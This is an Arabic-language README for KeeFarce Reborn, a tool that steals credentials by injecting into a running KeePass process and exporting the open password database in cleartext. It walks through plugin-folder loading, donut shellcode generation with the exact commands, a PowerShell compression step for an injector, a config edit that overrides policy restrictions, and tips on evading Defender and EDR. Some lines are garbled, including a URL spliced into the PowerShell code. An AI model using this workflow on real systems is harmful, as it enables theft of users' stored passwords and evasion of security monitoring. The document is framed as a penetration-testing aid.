
مكتبة DLL مستقلة تقوم بتصدير قواعد البيانات بنص واضح (cleartext) عند حقنها في عملية KeePass.
مكتبة DLL مستقلة تصدّر قواعد البيانات بنص صريح بمجرد حقنها في عملية KeePass.
مستوحاة بشكل كبير من مشاريع KeeFarce, KeeThief وKeePassHax الرائعة.
قبل بضع سنوات، أصدر @denandz أداة KeeFarce، أول أداة هجومية مصممة لاستخراج قواعد بيانات KeePass بنص صريح. تعمل عن طريق حقن DLL في العملية الجارية، ثم تفحص الكومة باستخدام ClrMD للعثور على الكائنات الضرورية واستدعاء طريقة التصدير المدمجة في KeePass باستخدام الانعكاس. كان عيبها الوحيد في ذلك الوقت أنها تتطلب وضع عدة ملفات على الهدف (DLL الاستخراج + DLL الخاص بـ ClrMD + أداة الحقن + DLL إقلاع).
بعد عام، أصدر @tifkin_ و@harmj0y مراجعة متعمقة للتقنيات الهجومية التي تستهدف KeePass (ورغم أنها لم تعد متاحة على مدونة harmj0y، يمكن العثور على المقالات على Wayback Machine: الجزء 1, الجزء 2). أسفرت عن إصدار KeeThief، وهي أداة قادرة على فك تشفير المفتاح الرئيسي لـ KeePass (بما في ذلك عند استخدام طرق مصادقة بديلة). عملت بشكل جيد لدرجة أن مطوري KeePass أضافوا معاملًا للتخفيف من هذه التقنية (يمكن تعطيله عن طريق تعديل ملف إعداد KeePass إذا كان المستخدم يملك صلاحيات كافية، وهو أمر شائع جدًا).
سرعان ما أصبحت هذه الأدوات خياري الأول أثناء اختبار الاختراق، لكنها سرعان ما أصبحت قديمة لأن تقنيات الحقن الخاصة بها (وتحديدًا مجموعة واجهات برمجة تطبيقات Win32 الشهيرة: VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, WriteProcessMemory وما إلى ذلك) تثير الآن الكشف فورًا. عالج @snovvcrash هذه المشكلة عن طريق إنشاء fork من KeeThief (الموجود الآن في مستودع خاص، لكنه لا يزال متاحًا هنا) لتحسين آلية الحقن باستخدام D/Invoke، وكتب مقالًا رائعًا يوضح بالتفصيل العملية التي اتبعها. ورغم أنه أثبت جدوى الحفاظ على KeeThief، إلا أنني أجد صعوبة في تنفيذ تقنيات حقن جديدة بشكل منتظم، لأن كود KeeThief مرتبط بإحكام بأداة الحقن الخاصة به.
أصدر @holly-cracker أيضًا أداة KeePassHax، والتي تأتي كملف DLL واحد وتستخدم الانعكاس فقط لفك تشفير المفتاح الرئيسي لـ KeePass. مستلهمًا من هذا العمل، قررت أن أفعل الشيء نفسه مع KeeFarce وأكتب أداة استخراج KeePass خاصة بي بالميزات التالية:
توفر KeeFarce Reborn أيضًا DLL إضافة لـ KeePass لجعل KeePass يحقن نفسه دون الحاجة إلى الانشغال بأدوات الحقن!
نظرًا لأن الكود يعتمد حصريًا على .NET Framework دون أي تبعية خارجية، فينبغي أن يُجمَّع بسهولة على Visual Studio 2015 والإصدارات الأحدث.
لا تتضمن KeeFarce Reborn أداة حقن لتحميل DLL في عملية KeePass. هذا أمر مقصود، فبما أن أدوات الحقن تصبح قديمة كل بضعة أشهر، سيتعين عليك استخدام أداتك الخاصة. توضح الأقسام التالية طريقتين نموذجيتين لتنفيذ الحقن.
متطلب مسبق: صلاحية كتابة إلى دليل إضافات KeePass.
تتميز KeePass بـإطار عمل للإضافات لتوفير وظائف إضافية للمستخدمين. يعمل عن طريق تحميل DLL في عملية KeePass، مما يسمح لمطوري الإضافات بتنفيذ إجراءات داخل نطاق تطبيق KeePass.
ونتيجة لذلك، يمكننا إساءة استخدام هذه الوظيفة لتحميل KeeFarce Reborn كإضافة، دون الحاجة حتى إلى استخدام أداة حقن خارجية! كل ما عليك فعله هو تجميع مشروع KeeFarceRebornPlugin ونسخ DLL إلى دليل الإضافات (الموجود في جذر KeePass، وتحديدًا "C:\Program Files\KeePass Password Safe 2\Plugins" للتثبيت العام).
لكي يُبنى المشروع بشكل صحيح، ستحتاج إلى نسخ إصدار التجميعة (assembly) المستهدفة من KeePass.exe إلى دليل KeeFarceRebornPlugin، أو استخدام PLGX إذا أردت أن تكون الإضافة الناتجة متوافقة مع أي إصدار من KeePass.
في المرة التالية التي يُشغَّل فيها KeePass ويُفتح قفل قاعدة بيانات، سيتم تحميل DLL وتنفيذ الحقن. إذا كان KeePass يعمل بالفعل، فستحتاج إلى الانتظار حتى إعادة تشغيله التالية لكي يحدث الحقن (أو فرض إعادة التشغيل بنفسك).
⚠️ بمجرد تحميل إضافة، سيتم حماية ملف DLL ضد الكتابة حتى يُغلق KeePass. ضع ذلك في اعتبارك للتأكد من أنك لا تترك إضافات خبيثة خلفك أثناء التقييمات.
إذا لم تكن لديك صلاحية كتابة إلى دليل إضافات KeePass، يمكنك إلقاء نظرة على مقال Quarkslab الذي يوضح كيفية تحميل الإضافات بصلاحيات أقل عبر ذاكرة التخزين المؤقت للإضافات.
متطلب مسبق: KeePass قيد التشغيل + قاعدة بيانات مفتوحة من قبل المستخدم + لديك صلاحيات كافية للحقن في عملية KeePass.
نظرًا لأنني شخصيًا أجد أنه من الأسهل حقن شيل كود بشكل خفي بدلًا من DLL في عملية بعيدة، فإن أول ما أبدأ به عادةً هو توليد شيل كود مستقل عن العنوان من DLL الخاص بنا. يبدو أن مشروع donut من @odzhan و@TheWover يناسب احتياجاتنا تمامًا!
نقوم بتجميع donut من commit في فرع التطوير (dev)، لأنه يصلح مشكلة في إدارة نطاق التطبيق كانت ستمنعنا من تنفيذ الانعكاس في النطاق الافتراضي.
git clone https://github.com/TheWover/donut/
cd donut
git checkout 9d781d8da571eb1499122fc0e2d6e89e5a43603c
يمكننا البناء بسهولة من x64 Native Tools Command Prompt الخاص بـ Visual Studio باستخدام أداة nmake:
nmake -f Makefile.msvc
توليد الشيل كود سهل للغاية:
.\donut.exe "C:\KeeFarceReborn\KeePassReborn\bin\Release\KeeFarceReborn.dll" -c KeeFarceReborn.Program -m Main -e 1
[ Donut shellcode generator v0.9.3
[ Copyright (c) 2019 TheWover, Odzhan
[ Instance type : Embedded
[ Module file : "C:\KeeFarceReborn\KeePassReborn\bin\Release\KeeFarceReborn.dll"
[ Entropy : None
[ File type : .NET DLL
[ Class : KeeFarceReborn.Program
[ Method : Main
[ Target CPU : x86+amd64
[ AMSI/WDLP : continue
[ Shellcode : "loader.bin"
لاحظ أن
-e 1ضروري لتعطيل الإنتروبيا، وإلا فلن تكون العملية المحقونة في نطاق التطبيق الافتراضي.
دعونا نضغطه باستخدام PowerShell لسهولة الدمج في كود أداة الحقن:
$bytes = [System.IO.File]:https://raw.githubusercontent.com/d3lb3/keefarcereborn/HEAD/:ReadAllBytes(%22C:%5Cdonut%5Cloader.bin%22)
[System.IO.MemoryStream] $outStream = New-Object System.IO.MemoryStream
$deflateStream = New-Object System.IO.Compression.DeflateStream($outStream, [System.IO.Compression.CompressionLevel]::Optimal)
$deflateStream.Write($bytes, 0, $bytes.Length)
$deflateStream.Dispose()
$outBytes = $outStream.ToArray()
$outStream.Dispose()
$b64 = [System.Convert]::ToBase64String($outBytes)
Write-Output $b64 | clip
أصبح لديك الآن حمولة جاهزة للحقن بأسلوبك المفضل. إذا كنت لا تعرف ماذا تفعل بعد الآن، أقترح عليك الاطلاع على صفحة حقن الكود والعمليات في ired.team للتعرف على المفهوم. دورات تطوير البرمجيات الخبيثة من @SEKTOR7 مليئة بالتعلم القيّم إذا كانت في متناولك.
كمثال، دعونا نحقن حمولتنا باستخدام كود VeraCryptThief من snovvcrash (المستوحى نفسه من دورات SEKTOR7) والذي يستخدم D/Invoke. للتوضيح، نسخت مشروعه في مجلد SampleInjector، نحتاج فقط إلى لصق الشيل كود المضغوط ثم تجميعه بصيغة x64.
على الرغم من أنه لا يزال يتجاوز Defender في الوقت الحالي (نوفمبر 2022)، فإن تعديل أداة الحقن الخاصة بك سيكون ضروريًا بالطبع لتجاوز أنظمة EDR الحديثة. أداة الحقن النموذجية هذه موجودة فقط لإثبات أن كل شيء يعمل كما هو متوقع.
بتشغيل .\SampleInjector.exe مع قاعدة بيانات KeePass مفتوحة، سيتم تحميل DLL وتنفيذ الحقن.
بمجرد تنفيذ الحقن، سترى رسائل تصحيح تُطبع في MessageBox (والتي يجب إزالتها بوضوح عند استخدامها في سيناريو اختبار اختراق حقيقي)، ثم ستجد قاعدة البيانات المُصدَّرة في %APPDATA% الخاصة بالمستخدم الحالي (المختارة افتراضيًا، لأنه من المؤكد أن KeePass يملك صلاحية الكتابة إليها). يمكن لاحقًا استيراد ملف XML المُصدَّر إلى أي قاعدة بيانات KeePass دون طلب كلمة مرور
إذا كانت وظائف الإضافات أو التصدير معطّلة بواسطة السياسة، فلا يزال من الممكن تمكينها عن طريق تعديل KeePass.config.xml بشرط امتلاك صلاحية الكتابة:
<Policy>
<Plugins>true</Plugins>
<Export>true</Export>
</Policy>
في حين أن المشكلة الرئيسية المتعلقة باكتشاف أدوات استخراج KeePass هي أدوات الحقن، فإن الفحص في الذاكرة قد يثير أيضًا تنبيهات عند تحليل الشيل كود أو ملف DLL الخاص بالإضافة. قد تضطر إلى إخفاء الشيل كود و/أو تشفيره لاستخدامه مع أداة الحقن الخاصة بك.
إذا تم في النهاية رصد ملفات DLL الخاصة بالإضافات بواسطة التحليل الثابت، فلا يزال بإمكانك استخدام صيغة إضافة PLGX الخاصة بـ KeePass لتجنب الاكتشاف.
DISM.exe.طلبات السحب (Pull requests) مرحب بها. لا تتردد في فتح issue أو مراسلتي على Twitter لاقتراح تحسين.
تم أخذ أجزاء من الكود من مشاريع KeeFarce, KeeThief وKeePassHax.
تم أخذ آلية الحقن النموذجية مباشرة من مشاريع snovvcrash.